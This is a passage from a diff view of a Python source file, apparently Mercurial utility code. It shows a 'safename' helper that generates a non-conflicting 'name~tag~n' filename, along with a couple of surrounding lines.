3835
3839
3836 items[bt[0]] = value
3840 items[bt[0]] = value
3837
3841
3838 return items
3842 return items
3839
3843
3840 i18nfunctions = bundlecompressiontopics().values()
3844 i18nfunctions = bundlecompressiontopics().values()
3841
3845
3842 # convenient shortcut
3846 # convenient shortcut
3843 dst = debugstacktrace
3847 dst = debugstacktrace
3844
3848
3845 def safename(f, tag, ctx, others=None):
3849 def safename(f, tag, ctx, others=None):
3846 """
3850 """
3847 Generate a name that it is safe to rename f to in the given context.
3851 Generate a name that it is safe to rename f to in the given context.
3848
3852
3849 f: filename to rename
3853 f: filename to rename
3850 tag: a string tag that will be included in the new name
3854 tag: a string tag that will be included in the new name
3851 ctx: a context, in which the new name must not exist
3855 ctx: a context, in which the new name must not exist
3852 others: a set of other filenames that the new name must not be in
3856 others: a set of other filenames that the new name must not be in
3853
3857
3854 Returns a file name of the form oldname~tag[~number] which does not exist
3858 Returns a file name of the form oldname~tag[~number] which does not exist
3855 in the provided context and is not in the set of other names.
3859 in the provided context and is not in the set of other names.
3856 """
3860 """
3857 if others is None:
3861 if others is None:
3858 others = set()
3862 others = set()
3859
3863
3860 fn = '%s~%s' % (f, tag)
3864 fn = '%s~%s' % (f, tag)
3861 if fn not in ctx and fn not in others:
3865 if fn not in ctx and fn not in others:
3862 return fn
3866 return fn
3863 for n in itertools.count(1):
3867 for n in itertools.count(1):
3864 fn = '%s~%s~%s' % (f, tag, n)
3868 fn = '%s~%s~%s' % (f, tag, n)
3865 if fn not in ctx and fn not in others:
3869 if fn not in ctx and fn not in others:
3866 return fn
3870 return fn
General Comments 0
You need to be logged in to leave comments. Login now